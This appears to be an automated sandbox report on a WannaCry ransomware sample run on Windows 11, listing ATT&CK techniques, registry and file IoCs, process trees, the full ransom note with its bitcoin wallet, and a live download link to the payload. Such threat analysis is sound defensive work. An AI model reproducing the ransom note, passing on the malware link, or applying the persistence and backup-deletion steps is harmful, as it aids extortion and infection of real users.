wannacry | hxxps://megawrzuta[.]pl/download/ba36e41fb26365ce06247aaf1e43d5ba[.]html

Resubmissions

04-05-2024 14:07

240504-rfalnsah87 1

04-05-2024 14:05

240504-reav2sah64 1

04-05-2024 12:53

240504-p4pdmaee5z 10

Analysis

max time kernel
202s
max time network
204s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
04-05-2024 12:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://megawrzuta.pl/download/ba36e41fb26365ce06247aaf1e43d5ba.html

Score

10^/10

wannacry defense_evasion discovery execution impact persistence ransomware spyware stealer worm

Malware Config

Extracted

Path

C:\Users\Admin\Downloads\@[email protected]

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94 Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94

Signatures

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Downloads MZ/PE file

Drops startup file 2 IoCs

Processes:

WannaCry.EXE

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDC2AC.tmp	WannaCry.EXE
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDC2B3.tmp	WannaCry.EXE

Executes dropped EXE 14 IoCs

Processes:

WannaCry.EXEtaskdl.exe@[email protected]@[email protected]taskhsvc.exetaskdl.exetaskse.exe@[email protected]taskdl.exe@[email protected]taskse.exetaskse.exetaskdl.exe@[email protected]

pid	process
5664	WannaCry.EXE
992	taskdl.exe
5292	@[email protected]
5556	@[email protected]
2028	taskhsvc.exe
5592	taskdl.exe
4260	taskse.exe
3064	@[email protected]
3392	taskdl.exe
1244	@[email protected]
2228	taskse.exe
6048	taskse.exe
2748	taskdl.exe
2700	@[email protected]

Loads dropped DLL 9 IoCs

Processes:

taskhsvc.exe

pid	process
2028	taskhsvc.exe
2028	taskhsvc.exe
2028	taskhsvc.exe
2028	taskhsvc.exe
2028	taskhsvc.exe
2028	taskhsvc.exe
2028	taskhsvc.exe
2028	taskhsvc.exe
2028	taskhsvc.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

5144 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
5144	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\kiqhvmgs156 = "\"C:\\Users\\Admin\\Downloads\\tasksche.exe\""	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service
T1102

Processes:

flow ioc

91 raw.githubusercontent.com
25 raw.githubusercontent.com
27 camo.githubusercontent.com
29 raw.githubusercontent.com
85 camo.githubusercontent.com

flow	ioc
91	raw.githubusercontent.com
25	raw.githubusercontent.com
27	camo.githubusercontent.com
29	raw.githubusercontent.com
85	camo.githubusercontent.com

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

WannaCry.EXE@[email protected]

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	WannaCry.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 16 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

firefox.exefirefox.exefirefox.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exemsedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 7 IoCs

Processes:

OpenWith.exemsedge.exeOpenWith.exeOpenWith.exeOpenWith.exefirefox.exemsedge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3938118698-2964058152-2337880935-1000\{04390F2A-7139-48AC-B10B-2894117427DC}	msedge.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1312 reg.exe

pid	process
1312	reg.exe

NTFS ADS 2 IoCs

Processes:

msedge.exemsedge.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\Aimware.rar:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\WannaCry.EXE:Zone.Identifier	msedge.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

vlc.exe

pid process

4752 vlc.exe

pid	process
4752	vlc.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

msedge.exemsedge.exemsedge.exeidentity_helper.exemsedge.exemsedge.exemsedge.exetaskhsvc.exemsedge.exemsedge.exemsedge.exeidentity_helper.exe

pid	process
3256	msedge.exe
3256	msedge.exe
332	msedge.exe
332	msedge.exe
1028	msedge.exe
1028	msedge.exe
4412	identity_helper.exe
4412	identity_helper.exe
2752	msedge.exe
2752	msedge.exe
5700	msedge.exe
5700	msedge.exe
4796	msedge.exe
4796	msedge.exe
2028	taskhsvc.exe
2028	taskhsvc.exe
2028	taskhsvc.exe
2028	taskhsvc.exe
2028	taskhsvc.exe
2028	taskhsvc.exe
1916	msedge.exe
1916	msedge.exe
3240	msedge.exe
3240	msedge.exe
4240	msedge.exe
4240	msedge.exe
3756	identity_helper.exe
3756	identity_helper.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

Processes:

OpenWith.exeOpenWith.exevlc.exe

pid process

4888 OpenWith.exe
924 OpenWith.exe
4752 vlc.exe

pid	process
4888	OpenWith.exe
924	OpenWith.exe
4752	vlc.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 20 IoCs

Processes:

msedge.exemsedge.exe

pid	process
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
3240	msedge.exe
3240	msedge.exe

Suspicious use of AdjustPrivilegeToken 54 IoCs

Processes:

firefox.exeWMIC.exevssvc.exetaskse.exetaskse.exetaskse.exe

description	pid	process
Token: SeDebugPrivilege	4816	firefox.exe
Token: SeDebugPrivilege	4816	firefox.exe
Token: SeDebugPrivilege	4816	firefox.exe
Token: SeIncreaseQuotaPrivilege	3968	WMIC.exe
Token: SeSecurityPrivilege	3968	WMIC.exe
Token: SeTakeOwnershipPrivilege	3968	WMIC.exe
Token: SeLoadDriverPrivilege	3968	WMIC.exe
Token: SeSystemProfilePrivilege	3968	WMIC.exe
Token: SeSystemtimePrivilege	3968	WMIC.exe
Token: SeProfSingleProcessPrivilege	3968	WMIC.exe
Token: SeIncBasePriorityPrivilege	3968	WMIC.exe
Token: SeCreatePagefilePrivilege	3968	WMIC.exe
Token: SeBackupPrivilege	3968	WMIC.exe
Token: SeRestorePrivilege	3968	WMIC.exe
Token: SeShutdownPrivilege	3968	WMIC.exe
Token: SeDebugPrivilege	3968	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3968	WMIC.exe
Token: SeRemoteShutdownPrivilege	3968	WMIC.exe
Token: SeUndockPrivilege	3968	WMIC.exe
Token: SeManageVolumePrivilege	3968	WMIC.exe
Token: 33	3968	WMIC.exe
Token: 34	3968	WMIC.exe
Token: 35	3968	WMIC.exe
Token: 36	3968	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3968	WMIC.exe
Token: SeSecurityPrivilege	3968	WMIC.exe
Token: SeTakeOwnershipPrivilege	3968	WMIC.exe
Token: SeLoadDriverPrivilege	3968	WMIC.exe
Token: SeSystemProfilePrivilege	3968	WMIC.exe
Token: SeSystemtimePrivilege	3968	WMIC.exe
Token: SeProfSingleProcessPrivilege	3968	WMIC.exe
Token: SeIncBasePriorityPrivilege	3968	WMIC.exe
Token: SeCreatePagefilePrivilege	3968	WMIC.exe
Token: SeBackupPrivilege	3968	WMIC.exe
Token: SeRestorePrivilege	3968	WMIC.exe
Token: SeShutdownPrivilege	3968	WMIC.exe
Token: SeDebugPrivilege	3968	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3968	WMIC.exe
Token: SeRemoteShutdownPrivilege	3968	WMIC.exe
Token: SeUndockPrivilege	3968	WMIC.exe
Token: SeManageVolumePrivilege	3968	WMIC.exe
Token: 33	3968	WMIC.exe
Token: 34	3968	WMIC.exe
Token: 35	3968	WMIC.exe
Token: 36	3968	WMIC.exe
Token: SeBackupPrivilege	1444	vssvc.exe
Token: SeRestorePrivilege	1444	vssvc.exe
Token: SeAuditPrivilege	1444	vssvc.exe
Token: SeTcbPrivilege	4260	taskse.exe
Token: SeTcbPrivilege	4260	taskse.exe
Token: SeTcbPrivilege	2228	taskse.exe
Token: SeTcbPrivilege	2228	taskse.exe
Token: SeTcbPrivilege	6048	taskse.exe
Token: SeTcbPrivilege	6048	taskse.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

msedge.exefirefox.exevlc.exemsedge.exe

pid	process
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
4816	firefox.exe
4816	firefox.exe
4816	firefox.exe
4816	firefox.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
4752	vlc.exe
4752	vlc.exe
4752	vlc.exe
4752	vlc.exe
4752	vlc.exe
4752	vlc.exe
4752	vlc.exe
4752	vlc.exe
4752	vlc.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe

Suspicious use of SendNotifyMessage 35 IoCs

Processes:

msedge.exefirefox.exevlc.exemsedge.exe

pid	process
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
332	msedge.exe
4816	firefox.exe
4816	firefox.exe
4816	firefox.exe
4752	vlc.exe
4752	vlc.exe
4752	vlc.exe
4752	vlc.exe
4752	vlc.exe
4752	vlc.exe
4752	vlc.exe
4752	vlc.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe
3240	msedge.exe

Suspicious use of SetWindowsHookEx 57 IoCs

Processes:

OpenWith.exeOpenWith.exeOpenWith.exefirefox.exe@[email protected]@[email protected]@[email protected]OpenWith.exe@[email protected]vlc.exe@[email protected]

pid	process
3360	OpenWith.exe
3360	OpenWith.exe
3360	OpenWith.exe
3360	OpenWith.exe
3360	OpenWith.exe
3360	OpenWith.exe
3360	OpenWith.exe
2592	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4888	OpenWith.exe
4816	firefox.exe
4816	firefox.exe
4816	firefox.exe
4816	firefox.exe
5292	@[email protected]
5292	@[email protected]
5556	@[email protected]
5556	@[email protected]
3064	@[email protected]
3064	@[email protected]
924	OpenWith.exe
924	OpenWith.exe
924	OpenWith.exe
924	OpenWith.exe
924	OpenWith.exe
924	OpenWith.exe
924	OpenWith.exe
924	OpenWith.exe
924	OpenWith.exe
924	OpenWith.exe
924	OpenWith.exe
1244	@[email protected]
924	OpenWith.exe
924	OpenWith.exe
924	OpenWith.exe
924	OpenWith.exe
924	OpenWith.exe
924	OpenWith.exe
4752	vlc.exe
2700	@[email protected]

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 332 wrote to memory of 3672	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3672	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3048	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3256	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 3256	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe
PID 332 wrote to memory of 1344	332	msedge.exe	msedge.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exe

pid process

2444 attrib.exe
5276 attrib.exe

pid	process
2444	attrib.exe
5276	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://megawrzuta.pl/download/ba36e41fb26365ce06247aaf1e43d5ba.html
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:332

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe782b3cb8,0x7ffe782b3cc8,0x7ffe782b3cd8
2⤵
PID:3672

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1828 /prefetch:2
2⤵
PID:3048

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 /prefetch:3
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3256

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2676 /prefetch:8
2⤵
PID:1344

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:1
2⤵
PID:4504

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
2⤵
PID:4104

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5036 /prefetch:1
2⤵
PID:3032

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5180 /prefetch:1
2⤵
PID:2540

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6140 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1028

C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6400 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4412

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5600 /prefetch:1
2⤵
PID:2268

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4992 /prefetch:8
2⤵
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
PID:2752

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6380 /prefetch:1
2⤵
PID:5008

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5744 /prefetch:1
2⤵
PID:4888

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,14606736340658958622,11301774503741781438,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6080 /prefetch:1
2⤵
PID:1980

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
